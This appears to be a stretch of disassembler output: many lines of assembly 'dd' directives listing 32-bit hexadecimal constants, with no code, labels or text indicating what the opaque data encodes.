		dd 6BFB01BCh, 0E924A82Eh, 0DCE0304Ah, 0AEE12703h, 0E0AC3D03h
		dd 796610h, 0DE8C2BD3h,	0EE04FACEh, 0BB346109h,	2E64E055h
		dd 0CCA80051h, 8CD39C45h, 0A500DDF1h, 4DEF596h,	6A4FBDh
		dd 26956078h, 0A108A299h, 0D3FE4707h, 81DE3606h, 516C4C72h
		dd 58187D20h, 6B008C76h, 0E456ECCEh, 7F75716Fh,	83F6E900h
		dd 2237C35Fh, 988000DBh, 9F55E92h, 5675E274h, 60B50427h
		dd 521C210h, 3DC35A1Fh,	0B945C497h, 1A690028h, 5C76F6EFh
		dd 1B47003Ah, 5A398082h, 440002B6h, 0EF6A7235h,	0B81FB2h
		dd 66E6B385h, 0DD539E1h, 0E4A5EA00h, 51979B4Dh,	0C2CC037Ch
		dd 992FC55Ah, 7640D180h, 0FCDD5E07h, 0BC35EDCDh, 670034E8h
		dd 6E4A64C5h, 2400A4EAh, 0BA6FFAE5h, 247CA2Ah, 9D3BD7F8h
		dd 7476F912h, 39E0E91Dh, 0D03802E8h, 2B3F4382h,	0F8D68209h
		dd 27F3FF00h, 5DEBA4h, 0B32064A7h, 0B1B48C65h, 3650A31Fh
		dd 8A0A5140h, 2D210C7h,	43CC5DDCh, 34401E75h, 274F9CD4h
		dd 0E60084CBh, 803CC0E3h, 0A50098BDh, 34C1C918h, 0FDB3F6h
		dd 72D0A78h, 21F48E84h,	0C7779E05h, 4CD04237h, 0C3D8F8h
		dd 6366B118h, 0AC74E13Eh, 98216500h, 930EAE0Dh,	0A7E30028h
		dd 30C996E5h, 522E6703h, 614034C2h, 3822FCE4h, 568033C8h
		dd 2EF2A2CCh, 8527FA8Ah, 7900C799h, 0C7D1D11h, 0D931580h
		dd 980BC845h, 84C35059h, 0F8EC0ED5h, 9D5AD2Eh, 7880406Eh
		dd 7BDED5A6h, 0D0FC9801h, 14F7B78Eh, 3E009423h,	58C05FB5h
		dd 0D2025733h, 7326118Bh, 1FB38020h, 0B211513h,	848ABF7Dh
		dd 2502A802h, 0CC2CB0A0h, 0BA0EC679h, 5EB3D7EAh, 8E6DB0FFh
		dd 18AA54C1h, 388DA342h, 7F3DB2B1h, 98648333h, 0D89766E2h
		dd 8A131Ch, 94D7EB9Ah, 2F28301Eh, 70776400h, 0BFC8F0E1h
		dd 0FD5D040Bh, 0AC87F8A3h, 691A602Ch, 26EAFBh, 0C3340C6Ah
		dd 0C543829Dh, 0AC811E5Ah, 0EAECC602h, 0F7130715h, 70768883h
		dd 0A36EE4D2h, 0EB144F03h, 90843D94h, 0B2A0F04h, 52896963h
		dd 98F184DFh, 0A9FC0CCh, 0F8942AFEh, 8E860588h,	0E850F1F7h
		dd 0A70783C1h, 3559FADCh, 89316180h, 8C8D5A77h,	3B40395Ch
		dd 0B09CB0h, 68C9FEE1h,	9548079Ch, 0F04AA27Ch, 6C260E84h
		dd 4013D214h, 0D5ECC614h, 0B4EC7ADh, 0F951A881h, 0B629C0F2h
		dd 12D800B8h, 0A711466Fh, 0C9059431h, 0EC591F16h, 8361D84Fh
		dd 0D0B4BF70h, 2E0A6F0Dh, 409974h, 0F3B6F85Eh, 0F20EA433h
		dd 6BDE1C14h, 0DE0059A0h, 2BA01842h, 8C7422BDh,	8A0099E6h
		dd 659A75F0h, 1C3755DDh, 0F28D1A8h, 0ACE23AD9h,	0AC8166ECh
		dd 0DE16AA0Fh, 0BE5334E0h, 8C152C0Ah, 5980A00Ah, 7A198AB9h
		dd 0C1D300D7h, 717B3C3Eh, 3401B7F1h, 8A599535h,	86E01AA5h
		dd 9DC21743h, 6420758h,	0C68C00B9h, 7002F51Eh, 2BAAB526h
		dd 173CC150h, 0C060416Fh, 3BA841A3h, 10CA041h, 45D40BADh
		dd 7A960F9Eh, 9060631Ah, 223A4ACDh, 27315D1Fh, 0D900EF9Eh
		dd 39D6A3C9h, 0F07C50F3h, 0C7DA1349h, 4EE0F25Ah, 0DA898C0h
		dd 7019007Dh, 771A75B4h, 1B007A41h, 1829E18Ch, 0F4F766EBh
		dd 0C5130071h, 0EA58D7C8h, 7898AD0Ch, 8A19AB00h, 0D1ED77EFh
		dd 887F03AAh, 6D1E9939h, 85B3D002h, 40A1209Ah, 4B530E00h
		dd 7F888363h, 242EFAB1h, 7C4B1658h, 0B08F14C7h,	0E89A1080h
		dd 41554F59h, 0EC92C4BCh, 0AC30C313h, 71241080h, 7C0403F4h
		dd 388118BEh, 38683EEAh, 740731C0h, 7180921Ch, 9FD9FD10h
		dd 4DFB09F8h, 8C1048D1h, 34F8A27Eh, 11AD4700h, 1C91A007h
		dd 0C253002Ch, 3E3F8FD8h, 0FC1FE5C8h, 10409950h, 4271155Fh
		dd 0A647A0Fh, 75DAF3CEh, 9E7202E8h, 80A05297h, 0BDB0151Fh
		dd 7B0F3777h, 803D302Fh, 59043F05h, 0C014018Bh,	626E479Dh
		dd 18B4E032h, 8041273Bh, 4E3AAB4Ah, 1902666h, 8D0BB101h
		dd 857BEBA8h, 1FE4F1F8h, 1B00C8A8h, 56E78A83h, 0BA269B53h
		dd 8400D858h, 3A3F79DEh, 0C6B10ECAh, 0B980C0FBh, 27C26942h
		dd 28CEEA00h, 0D82D89A6h, 67BCA038h, 6B170F0Ah,	0F6697808h
		dd 0A0B2DE85h, 0D613C8D4h, 48F09F11h, 48EFF09Bh, 420190EBh
		dd 830E2F39h, 0B55C10B7h, 0F5312695h, 0BF598118h, 43FCD07Dh
		dd 0A0B049CCh, 0D6E40277h, 8088CE39h, 4FE8ACA5h, 4C7FA897h
		dd 49003068h, 1BC4E480h, 0F15B8E2Fh, 2EE1A420h,	0BE84A1E2h
		dd 60DE3C30h, 88971129h, 2524B160h, 1D01BC87h, 2FC49910h
		dd 8A34830h, 0A52C49DDh, 0AC6F5401h, 0D07413BAh, 244600C6h
		dd 0B74B3484h, 9F07E031h, 0E3BE0D11h, 27E2F150h, 8A66037Dh
		dd 4693977Ah, 0EE86D3E8h, 98994E03h, 912F20Eh, 0DBB088F0h
		dd 0D6004894h, 0D558135Fh, 4B1A2EB6h, 0C0ECC75Bh, 887C3F87h
		dd 8035C63Fh, 76B2EAB1h, 0F829947h, 8944DCA1h, 0FCF319C5h
		dd 34CF0170h, 2E28CC62h, 6844007Ah, 0DDFBFE24h,	7B02148h
		dd 99176E23h, 57B889A0h, 0DCC9557Bh, 0B78733Fh,	47EF5CE8h
		dd 948D7300h, 0A364F31Fh, 1A4B0106h, 0F45EE615h, 0FC1021E5h
		dd 0FF764F87h, 4510E860h, 60022F99h, 171BC833h,	2200786Ah
		dd 0AB92232Dh, 0EA5C9F65h, 0EDDB002Fh, 176724F6h, 0A07692Bh
		dd 3C8D21D3h, 16D0DC17h, 5A8726h, 980B0E0h, 0FFF2ABF0h
		dd 9D4FA4B0h, 90343C00h, 1DBC1F22h, 0FEB8EE44h,	5AD1F980h
		dd 0AE080BC2h, 0E36F5000h, 0ECA3AC21h, 56C40064h, 3187F2A1h
		dd 47F9285Fh, 0A8C340FCh, 200178Eh, 414AEBFFh, 9F820h
		dd 0E4E5B33Fh, 0BA611DABh, 0A473DF01h, 6271EDCEh, 197B074h
		dd 5087CA42h, 609D1AE9h, 1F50B60Bh, 0DC2594FCh,	3458E8h
		dd 530931A4h, 0B9049B8Dh, 0DFB52300h, 3B9A7A62h, 1CDB054Ch
		dd 0EC0184CBh, 361703B4h, 8051FC3Ch, 4E9C888h, 41D471CDh
		dd 9DC09001h, 9A053FE7h, 10BBC931h, 54F9FC49h, 9BA86050h
		dd 780BDB38h, 763C4h, 82C8B880h, 0CDC307E3h, 6170F3ECh
		dd 6AF4D30Fh, 0BCEB3005h, 93E9850Eh, 9FFD5CD1h,	1300AC68h
		dd 394C9437h, 0D7095AEFh, 0A0AA9365h, 5FF999D4h, 13C0002Ch
		dd 983723A4h, 2502147Bh, 55C13D2Ah, 3C3474A6h, 21AD0880h
		dd 354E9E87h, 3315205h,	80C8D36Fh, 3AFE7E8Bh, 0BCD9A01Ch
		dd 0B7A46C00h, 5269C832h, 0B5A23C13h, 0C9293044h, 0AD2C18E8h
		dd 0C07E1DA1h, 0B084B4DFh, 8370E285h, 6F49C8A0h, 3CE8D900h
		dd 0BC9FF222h, 0D875E9h, 0A5B2C13Fh, 0C670F92h,	50911A00h
		dd 0BFC2FD10h, 0E09C07FFh, 35A56915h, 463680CAh, 4401D6E7h
		dd 2B7FE12Ah, 58302EC5h, 0CC7D0067h, 0B042AF49h, 53486B26h
		dd 0BE850055h, 7FA46ECh, 366C0016h, 1975799Eh, 0CA00225Fh
		dd 6988A22Bh, 114346Fh,	0B06B1011h, 0C8E3E9C5h,	650BB4CCh
		dd 0E0061A44h, 2B4B94h,	0A5735E3Eh, 5C7EEECDh, 9A1C4892h
		dd 84C0C121h, 43541716h
		dd 26410E4Ch, 0B4A0357Eh, 18AAFB32h, 0EFA76007h, 5B409925h
		dd 5A17F0Fh, 9A95B083h,	92FC40D3h, 8B16876Fh, 70DC50F9h
		dd 0A800E61Ah, 24E21FE8h, 7F13BCh, 6F118425h, 621B068Dh
		dd 0C3909700h, 0C8CFF72Dh, 876D01DCh, 99423622h, 1411EC72h
		dd 37891012h, 0A22A5090h, 12AB003Dh, 3BD13644h,	1800A66Fh
		dd 0F7062B08h, 2E43B68Fh, 9CCA35Dh, 60A0A24Bh, 0C37C94C6h
		dd 0FF12B71Ch, 0D32ECC0h, 6B9B68Bh, 5DDDB876h, 29E29072h
		dd 35F96600h, 0B30711Eh, 0D4A400BAh, 0A8CB8625h, 6D04448Bh
		dd 0C75F4AFAh, 880ED780h, 0FBB500E0h, 94011B45h, 21247B65h
		dd 0B912B417h, 0F280EC1Dh, 987F0D35h, 43113F53h, 4FD46989h
		dd 151DA8A0h, 0F7FE35F0h, 5E74C800h, 46879DEEh,	72C30095h
		dd 9AFC8F18h, 0F47A37F0h, 0C0AA0D07h, 0A6300B07h, 73A221F8h
		dd 1B390F6Ch, 0BDCB92D9h, 0B930C40h, 6EF5D002h,	80C230FBh
		dd 0DAF29DBBh, 0EAD30485h, 0BCB59B3Fh, 4F80058h, 1F53AFF4h
		dd 0D36100E8h, 3DD0027Fh, 3C01AE31h, 739C931Dh,	59C10396h
		dd 0EC4170D4h, 108E023Ah, 33A2A591h, 77CB48E0h,	0C0984873h
		dd 8058713Dh, 9B3A6E8h,	3996D81Ch, 8700B2EFh, 0E0E2FC64h
		dd 0EB2462C5h, 578040EAh, 8F0EFECAh, 0F98500CFh, 20595DD3h
		dd 270065F1h, 9978BA1Ah, 79D5F3A1h, 3D730030h, 0E7C166A8h
		dd 4F006DCEh, 0C7AC7F4Eh, 1CEC80AEh, 16F3B89Ah,	0D0500078h
		dd 0BB44344Ch, 45370E24h, 1750E500h, 303CF4B2h,	341002FBh
		dd 0C703E7A4h, 0D97A9992h, 2517F831h, 3D4A2D8Eh, 4FCBD880h
		dd 0E702229Ah, 20BD709Bh, 10905DD9h, 44EA57D0h,	407FA52Dh
		dd 1C1939D8h, 800E368Eh, 0E228E454h, 0E92D10EAh, 24A84183h
		dd 0A4C45A0Ah, 0D1C041AAh, 30939ABCh, 1F1242F3h, 24C0B134h
		dd 4C29F72Ch, 8D032CB4h, 0EB442425h, 6C3C10F6h,	21E581A6h
		dd 0C96F421Fh, 30AA2980h, 74FA5F45h, 4B384098h,	3A499D63h
		dd 352C0Bh, 0E2B66B3Ch,	0E99802C3h, 81EBCC4Eh, 0DE9740C0h
		dd 50953300h, 78CF4B2Ch, 3D591756h, 26E700DDh, 53D85B6Ah
		dd 676D8401h, 5955C344h, 8543D0h, 8A7924DFh, 74EEAC77h
		dd 3A2DDA02h, 7CCC3E09h, 5BBA0094h, 3B18C7A3h, 6C2A2C2Ch
		dd 87C95007h, 0E1300970h, 70F20116h, 0A64F0ECBh, 61C8516Eh
		dd 2C64FC79h, 25C32100h, 0EAB9B411h, 28853E20h,	2AB2480h
		dd 0E9A1E652h, 6B3C8700h, 0BE6EB7CDh, 0A88F9D9Dh, 90556607h
		dd 51774C50h, 0D5CAA105h, 1CEC643Fh, 2B0D40Fh, 0F2386604h
		dd 0F0CE2564h, 0C880030h, 756B798Dh, 2C00FFF8h,	0B1E48B01h
		dd 6F47B5h, 0B0F67FE9h,	6B918F30h, 0D10E2700h, 6C2457FCh
		dd 725C38DDh, 6F2F3049h, 1030894h, 8290E5D9h, 86BB00Fh
		dd 4BEACh, 3F451080h, 8A00234Fh, 0B17C9D47h, 909FA232h
		dd 0CF260730h, 0F0082E7Bh, 682D1C28h, 81D038C0h, 0E62563D3h
		dd 41A03C47h, 0F613F080h, 1B29B0F7h, 2FC87F02h,	42CB1E1Fh
		dd 3264605Ch, 8DF4017Dh, 446C2EF7h, 35E6E075h, 0E76F9A00h
		dd 0FBE027B3h, 53700E65h, 0C4345FC2h, 7364EB00h, 9E3C891Ch
		dd 0EF4AF4Ch, 0A3B8682Fh, 0E8C82CC3h, 0F8963Eh,	167DF617h
		dd 8462AEBDh, 26EE6916h, 0B0CD10F4h, 0AC35025Fh, 6E5A0425h
		dd 6388F46Bh, 0BB0EE686h, 0AE354B1Eh, 137EA057h, 3B0AA804h
		dd 9F80FEE2h, 0CACBBC4Ch, 0BD02760Eh, 6CC95CC3h, 0A8005733h
		dd 4597AD38h, 534140Bh,	0D7805A6h, 0C896F9C2h, 15E3610h
		dd 342462C3h, 7275D2DAh, 0D1D407D8h, 0C01E28D0h, 0EF449869h
		dd 0F64F0935h, 507EAAC6h, 0B01D837Bh, 12FAA8Fh,	93D89F8Ah
		dd 0C4DB94DAh, 0C0005FB4h, 22C93E21h, 126628BFh, 0C0DAA5AFh
		dd 0A8D5418Ch, 5B325D00h, 453C27DEh, 2C880005h,	0CCD9E36Ch
		dd 71000CCEh, 255A89B2h, 489DAAF2h, 0F0066A6h, 0DDE85046h
		dd 0A060F6DBh, 0C6EB2F50h, 685100CBh, 0BEE5F5B6h, 0A23F59E1h
		dd 80583D71h, 98AC4121h, 0F40BA405h, 29A600ADh,	806BA251h
		dd 6300366Eh, 24454878h, 11E688Dh, 66641553h, 0E8ACEBE2h
		dd 5800C4B9h, 10F847ECh, 45ED71Ah, 0D81D43FFh, 0A2A1C0E6h
		dd 0CE003545h, 1A8A0C83h, 0DC3117h, 0A66A0ADEh,	13682173h
		dd 52D3BE1Eh, 8C809824h, 41DE5FA4h, 0D75A003Dh,	0AFE035B9h
		dd 0E30014B8h, 4A2D65D0h, 22ECA7h, 47E9BE49h, 5D3BA152h
		dd 0E4B77800h, 0D6BDF351h, 0D4F80033h, 9706F257h, 60C054E6h
		dd 19CEE1B3h, 4FA902Ah,	51B4C798h, 8610B024h, 0F405CF78h
		dd 26EB069Fh, 137CE0F8h, 0A254FE90h, 0BAE87068h, 5ECD2700h
		dd 7686B095h, 0F91727E9h, 1FA81440h, 96447C0Ah,	0B1003CE7h
		dd 0B86448F3h, 0BFBE000Dh, 911945A4h, 5000CF5h,	0C2B1AB28h
		dd 7153DC64h, 99B43A9Fh, 0A757131Eh, 565C405h, 81A79C48h
		dd 0D0380B00h, 34AA9D7Ch, 0B111CE80h, 2B002965h, 23BAEA66h
		dd 1DC7ED45h, 0CCF7B2FDh, 10B8949Eh, 0E865EC00h, 0B83F3CFFh
		dd 0D5850087h, 5D1953F8h, 1312847Ch, 0DA009E48h, 0D16FB538h
		dd 18F10017h, 6D10D2E4h, 0F0EB22Ah, 877C2F92h, 40A0E5E8h
		dd 39A4148Ch, 0ECD4244Bh, 0B58600B1h, 6A11BA72h, 0E507B7EFh
		dd 700F7365h, 115E14Ch,	0FF4A76A3h, 81720AAEh, 0AD1047D1h
		dd 39C8D392h, 0C0283BCAh, 0F52C6B80h, 84058AD4h, 0E120043Ch
		dd 5D4A8331h, 0C4601CDDh, 0C8EE59A2h, 2D506806h, 0D51890C9h
		dd 88315679h, 77043DC0h, 19D18380h, 0D09FD9B9h,	0AB8A0A1Dh
		dd 0A4D6EB40h, 1D4AF3E0h, 391F21Bh, 68D19D07h, 0B8C028C3h
		dd 600CEACh, 2F1A763h, 0B32FB9h, 290ACCF5h, 40D3B73h, 9F4E7500h
		dd 0E38CEB7Ah, 0B8980A02h, 80905125h, 0D464127Eh, 0CE0F2CFBh
		dd 21C97BA2h, 0DDA14F70h, 0F48E04DCh, 740B509Dh, 0CDE52575h
		dd 9625E483h, 4D4938h, 490EF6C9h, 0C6724D7h, 7453429Fh
		dd 513F14F4h, 28B30775h, 9241F43Eh, 2F9E73h, 0F7EEC6Ch
		dd 0CC13249Bh, 1073ED1h, 0D3EEE6F6h, 0A4ADFA0Ah, 0F2EA0787h
		dd 0A9632240h, 29E8F5h,	0ABB00F18h, 34CA0279h, 9C67B300h
		dd 7BE3C3ACh, 2A98007Ah, 0F7A1E488h, 0E0C74811h, 4B50BE35h
		dd 179CC3h, 0B502825Fh,	4F1923D9h, 930065B8h, 16DE4FBh
		dd 3AFC4AD2h, 2C00F637h, 0F0655C1Eh, 8E0CAEA0h,	9770298h
		dd 3C21C080h, 4DCAF19Ah, 7762F00h, 6B3BAC8Bh, 2EB30029h
		dd 634AFC1Eh, 52603F9Bh, 0F4CD9678h, 0BAD0008h,	0BC5A24B1h
		dd 0A8609E2Dh, 0ECE11950h, 0E78519EFh, 0B2FC90D4h, 30029869h
		dd 0AE71F06Fh, 86229E46h, 0F1843A09h, 9C3880FCh, 712112h
		dd 4B50F016h, 0D532BFCCh, 80FCB007h, 95802DB5h,	1B9F3DFh
		dd 0E5B8D118h, 0DCEA4B4Eh, 3160B2C6h, 0B6A88CC9h, 8A630180h
		dd 0DBAB4158h, 6BED011h, 0D06E20C0h, 3695BB6h, 0FEB27808h
		dd 0EC98240Dh, 0D1142118h, 0B8021Ch, 0BE4D5FC9h, 0D43F25h
		dd 809C6F26h, 2A17DD79h, 0CD462400h, 0EA86FEF6h, 0E6C800F9h
		dd 0A0989F81h, 5200B3B2h, 0A3DF098Ah, 6532A1Eh,	0FB57862Ch
		dd 48711BCh, 3F153586h,	50597C10h, 7088AACh, 70BFCE9Bh
		dd 0E5F9B094h, 92074967h, 8C788912h, 823007E7h,	0EDD5DAh
		dd 0A88F3DD2h, 0C9D36FEEh, 0E9AB7800h, 0B0DEC4C5h, 0F5530F11h
		dd 0B38158B8h, 0D5601AE6h, 64EFC0EBh, 9C981200h, 6745ADCDh
		dd 4D531897h, 1B931C4Fh, 81F65C00h, 0ED643356h,	0F8C31D40h
		dd 0BDB9806Ah, 0A43E79A5h, 1A730A00h, 53ABD44Dh, 0DD3C00B5h
		dd 2FD2298h
		dd 0F7030DCCh, 0CE5C5849h, 0E8E18B5Bh, 0C070983Ch, 0C41F5A52h
		dd 1500A5EBh, 0BFACD67Dh, 5752DFh, 676AC9C2h, 88F1E1ECh
		dd 327A1800h, 856F1DD3h, 2B3618A8h, 9D162068h, 6132D848h
		dd 723410AEh, 0F9B4B050h, 0CDE4009Ch, 2B44D0E1h, 0C100A5F6h
		dd 77B7C47Ah, 24A69841h, 0FFFF0Ah, 1BE567EFh, 840CCD7Dh
		dd 493B1D10h, 76F800A5h, 77572249h, 0FD0090E3h,	0B328316Eh
		dd 0C0FE4F2Fh, 0DE7B5D40h, 0BC002683h, 0E8D7E57Dh, 0FC7B5B7h
		dd 8AB6392Dh, 0C9BB88C0h, 0F7000820h, 3BB2093Ch, 1C621DDh
		dd 0A079FA77h, 0E86D97E3h, 0EF07B91Ch, 0C96FBB41h, 0B6FC7D40h
		dd 4D0B1DD8h, 0CC0C7D11h, 0D9AEDD99h, 24ECBC00h, 0F404E65Dh
		dd 0D254249Dh, 2A890068h, 2E8D5ADAh, 9C51AA00h,	0F5AC3F6Eh
		dd 0C0A07B10h, 89F940E1h, 5B033349h, 87372C74h,	6C95988Bh
		dd 6F54036Dh, 0BDB10CBh, 467B1CF8h, 708348h, 9239AF07h
		dd 6B7F22h, 0A9599536h,	684C0E7Dh, 76BFFB00h, 25B5D994h
		dd 28927E3Ch, 3C4F645h,	0BE232152h, 101D093Eh, 6D802617h
		dd 6C6F9FECh, 74A200BDh, 1FFA7537h, 0E7021679h,	0EC66123Bh
		dd 0A0554310h, 72D2080h, 0D834A432h, 4CFCC138h,	0BF54FC74h
		dd 0E039D62Ah, 55AC8250h, 0AA52B000h, 0D101287Fh, 3577026Ah
		dd 0E7057D3h, 8B26D4C0h, 0DB18EB12h, 0F933000h,	0EECDD125h
		dd 66F3008Fh, 0FA4D9CF7h, 0F9489129h, 7C600008h, 0CEC7E754h
		dd 0D73A0388h, 0BBD08FC4h, 0C100A871h, 0C8352961h, 0CF2A8Ah
		dd 65EDF6FEh, 0A3258911h, 0C0B5BF00h, 0D549E37Eh, 0CD9D1CD1h
		dd 48C58E78h, 1851E900h, 7C263CEFh, 4E801846h, 0BACA996Ah
		dd 0EA2E1FD8h, 42544288h, 0B0D45955h, 92799D3Bh, 0AAB680FFh
		dd 309493Fh, 3C400596h,	0D3605Eh, 0A05D9EB8h, 70C70226h
		dd 9C40D03Dh, 0D946B6h,	8379ED5Ch, 8F3A56CFh, 6335190Fh
		dd 5B2E8045h, 0AEC3A6h,	827CD725h, 0A8116C01h, 43B0ED0Eh
		dd 98C62053h, 34E2D7Ah,	5744064Ah, 0B7A16086h, 0C025C4C2h
		dd 6F01F517h, 58BBA602h, 5FA9601Eh, 6574007Fh, 0D361EB76h
		dd 0E300C793h, 242E6BDBh, 713DD9Bh, 1D1C6F7Eh, 32C10EF7h
		dd 0DC399E2Fh, 34E2C66Ch, 8B001E74h, 0A60E3F2Dh, 54CC5F3h
		dd 3D052849h, 0DDA00047h, 0D8CF9CADh, 72261512h, 0C68AFC40h
		dd 30FE7D58h, 0DDF8C993h, 250ED2F0h, 0C4E81F74h, 8C905636h
		dd 79D71h, 6222C3E1h, 48DA7AAEh, 0DFEEA700h, 0DAFFAFCh
		dd 47FCC5h, 0EFBB4A7Bh,	40E97ADEh, 63F2BA1Ch, 5809E46Ah
		dd 8157DB6Ch, 69290F78h, 94C9CC50h, 0C0C6EAFEh,	0F85FAB10h
		dd 3C7982F6h, 0EB6A4A00h, 0E8658890h, 40EA00F1h, 132C0603h
		dd 9402EC89h, 7E306EF4h, 0B8A4E378h, 136B3E11h,	71CCBC9h
		dd 0C3A629ECh, 0F8000C30h, 0C5148060h, 3D4F98EBh, 8CDDDF8h
		dd 173B211Eh, 3D70E5Eh,	0B625D780h, 0B2008F0Bh,	0D84CB519h
		dd 0B777A9h, 0DEB197A2h, 0CE21CDBh, 0E129EF00h,	0D337DA5Fh
		dd 64BA4854h, 0F4748B00h, 0F3B8BD16h, 25806900h, 41E723AAh
		dd 1F151CB1h, 60E84076h, 53444987h, 0D8EE0F27h,	0D811C053h
		dd 25AF59E3h, 89B26528h, 0CA8E1A00h, 2A365AFAh,	9FD83D86h
		dd 0F2A68380h, 3A4640D4h, 1D7FA307h, 680A28Dh, 1B412Eh
		dd 0C614ECBBh, 2B92F918h, 0C4B16600h, 557D6567h, 0D3AD00A2h
		dd 0B6A7D672h, 68046282h, 77845705h, 0F13A70C0h, 0A6790019h
		dd 5B112AF9h, 0AA00E0B1h, 1DA15E28h, 1CC39EFDh,	4022061Bh
		dd 0F4604365h, 0B303987Fh, 14D92A7Ah, 4C4000DBh, 4A85C7B9h
		dd 4B7B890Ch, 9F249E00h, 0D74397CBh, 0DE10607Ah, 55B41A93h
		dd 0BA03B57Fh, 0BC92BF56h, 0C0A9B3ADh, 1CBE0Bh,	66D8A071h
		dd 533369ABh, 0D2436E0Fh, 82A980E4h, 4808A54Bh,	0DA50C842h
		dd 0C20E00BEh, 9AF4334Dh, 7D16D2D0h, 3405B795h,	4CD7ABE0h
		dd 0D5C0CC35h, 90F8D457h, 0C3350018h, 0C4AB6517h, 0D303A109h
		dd 3BD991DCh, 42A387AFh, 64D18078h, 0B60400ACh,	0B7B3FE0Ch
		dd 0B03B2811h, 0ADF000C1h, 9FFA3FC5h, 4E470163h, 0FF9D49BEh
		dd 0C48C2440h, 51BA4100h, 27CFF087h, 64E5001Fh,	80B4675Eh
		dd 0BC5C5433h, 5F07C97h, 10536630h, 3792037h, 0FE8D2AB5h
		dd 9EA04ED2h, 0C3EA6440h, 6D151D00h, 0BD6FB93Fh, 0CC75482Eh
		dd 9C9C7C3Ch, 4EC84017h, 5E742D8Fh, 0BCD0C402h,	0A790B6BBh
		dd 46801784h, 0F957F98h, 0B0F016B9h, 0BA93F321h, 0AE80BD22h
		dd 3E401426h, 74E644F0h, 0BB68142Eh, 370024FEh,	51EA350Eh
		dd 5800C0C6h, 60CC86C3h, 7C211F41h, 0D5BD0002h,	0B1477088h
		dd 25EA2B37h, 956FAB18h, 45CCF30h, 0A65FCEBh, 60CB80DCh
		dd 0C60024B8h, 841C87B3h, 31A302h, 0BD86F87Eh, 1721B2BBh
		dd 0AA3FF93Fh, 9F7DB055h, 534A4D12h, 47C44C8Ah,	8F050042h
		dd 0F5617F0h, 7A22AF1Ch, 0A6CD9820h, 3E00AB97h,	0BB7D262Fh
		dd 0F043E260h, 11CF000Fh, 0CBD884C2h, 3D00D02Ch, 6EED9B8Fh
		dd 0AE905h, 531071CAh, 79B37C69h, 56A08085h, 0CEA835B6h
		dd 0AAC2BF00h, 0E0728D5Ch, 3AE81270h, 0E23C4543h, 0ECB5004Eh
		dd 14B72153h, 0FF832716h, 1E6A6C00h, 5C3EB53Dh,	4A00CB4Eh
		dd 8247D3B0h, 6F00C891h, 17E09C5Bh, 7F1BC4h, 7D69FD50h
		dd 7EC5F968h, 0E131DB00h, 8EE9B618h, 0C0DA000Ah, 2B3D5D45h
		dd 0D89811C3h, 0D0B2B300h, 470539A1h, 5BA40017h, 0C00B77F9h
		dd 9300C618h, 0BD11666Dh, 0FEF572h, 0C2C8B46Eh,	2B4165DDh
		dd 1879E200h, 0E7EDD5C3h, 0C511177Dh, 0F2B0006Ah, 7E6E3AC0h
		dd 0A210696Ch, 0CABD000Eh, 0E95EF522h, 5D7D3E15h, 0F70AAB7Ch
		dd 0E06B5510h, 9CF92D85h, 789E0580h, 7F20089h, 8F1B3275h
		dd 0CB16FC60h, 0A400118Bh, 5F204017h, 230303FAh, 779E14DBh
		dd 859D7026h, 0B273505h, 98E3A8C0h, 37558022h, 8482DA00h
		dd 48EABB5Bh, 85CF0310h, 24A2A7Dh, 0B86D1188h, 7316DE00h
		dd 20A62CBAh, 9BD72EC1h, 0E1BF0FDCh, 3A4EB500h,	7D3A5936h
		dd 9F038073h, 85191891h, 0C31C0168h, 3EB20DBFh,	302221h
		dd 2392E76Ch, 489FAD5h,	3122E8E4h, 37CC8038h, 0FBE6E1A3h
		dd 0EE5FD4Ch, 0A12B42B3h, 0D6CA8CF8h, 0D4A2ABC3h, 9E1EC3h
		dd 8E8B0D88h, 7DC1E5DBh, 8909D971h, 8070A85Ch, 1AA35AB8h
		dd 9F170018h, 9D879680h, 0DDFCCEEBh, 2AF12500h,	4FA47395h
		dd 5C7B4871h, 0B24C0F00h, 1E17DFA0h, 6100DCB8h,	4519A67Ch
		dd 0F943F21h, 0A2807D9Ah, 0B4206E09h, 0CF7E6AC6h, 4A286BFEh
		dd 5600F3CBh, 4E5337F7h, 3CB18E11h, 0F980A7DFh,	0DDC045CEh
		dd 0A83A2CE4h, 22D68063h, 954AA12Dh, 49390064h,	0EA8D05A5h
		dd 1700A670h, 9787F71h,	0FC11A5Bh, 0B7BC23EFh, 0AC4E5800h
		dd 430675F3h, 3AD03CECh, 4324291h, 0B8DEDAD1h, 0EC1F9CB0h
		dd 0B624006Dh, 0BA094921h, 0C70E8898h, 60BC5956h, 0AA395AF9h
		dd 3FB10008h, 15C976D9h, 0AC0023D2h, 361BA042h,	37D07F0h
		dd 9329C2C4h, 11E83234h, 3F000287h, 0F61A9E3Dh,	0B8A6A4h
		dd 0DA8E4D9h, 3EBB4C23h, 86B2C43Dh, 2AC92F4Ah, 7F630090h
		dd 0ED2C84A8h, 0EC135A87h, 15144CEBh, 5D2700FCh, 12536336h
		dd 0F43230EDh, 0EF5F2D19h, 0C76E0100h, 0A2946F47h, 70FA487Dh
		dd 52A4C07h, 0EC5B61CFh, 8468E6A3h, 103F46A9h, 0C8E48EEEh
		dd 0F224057Fh, 92BA2380h, 778A0011h, 0CE82E39Fh, 431FC56Ah
		dd 6E80C9B6h, 0BB72F051h, 0CD700E1Bh, 0A801E3Ch, 21FCDAF5h
		dd 676590C0h, 337F9EEh
		dd 0A3E2AFE7h, 9DC07095h, 697B6EDBh, 648E0924h,	0D86B9000h
		dd 1D859521h, 4029A9EFh, 0DD96271Dh, 0DB006FC5h, 41E660E2h
		dd 6BA635h, 4C208C2Bh, 9BB6F207h, 79B0CB07h, 0C224DE21h
		dd 9A04F4h, 1805720Fh, 8F8202EDh, 5DBAD900h, 1EC0CE7Fh
		dd 6A9D0026h, 8859A6FFh, 0E4054A31h, 9808731Fh,	0ED3D400h
		dd 170B050h, 0E576A59Fh, 0CDE6A3E9h, 18282052h,	1D9CB400h
		dd 36C973Ah, 39B90080h,	19B28828h, 5C00C68Ah, 1687C8DBh
		dd 0A42523h, 532D3ABCh,	63442015h, 429C9112h, 0AD4DA400h
		dd 0E78B051h, 0D7644FF2h, 3E7707E0h, 0E60031AAh, 754893ABh
		dd 462C628h, 9105E7Dh, 0B01E8498h, 6309AC04h, 40C265B5h
		dd 7BB03FCh, 7B10746Ah,	96E2B3AEh, 88FE70A0h, 1598272Ch
		dd 0B7600302h, 7F6068A7h, 0BC6C0167h, 0AE1D6FE1h, 4DB02079h
		dd 5A9DF700h, 0B19E2DCFh, 186160B4h, 7BE4F1CDh,	0CC913526h
		dd 0ABC00C87h, 4000D3BFh, 59130199h, 47CB1F83h,	0FED51641h
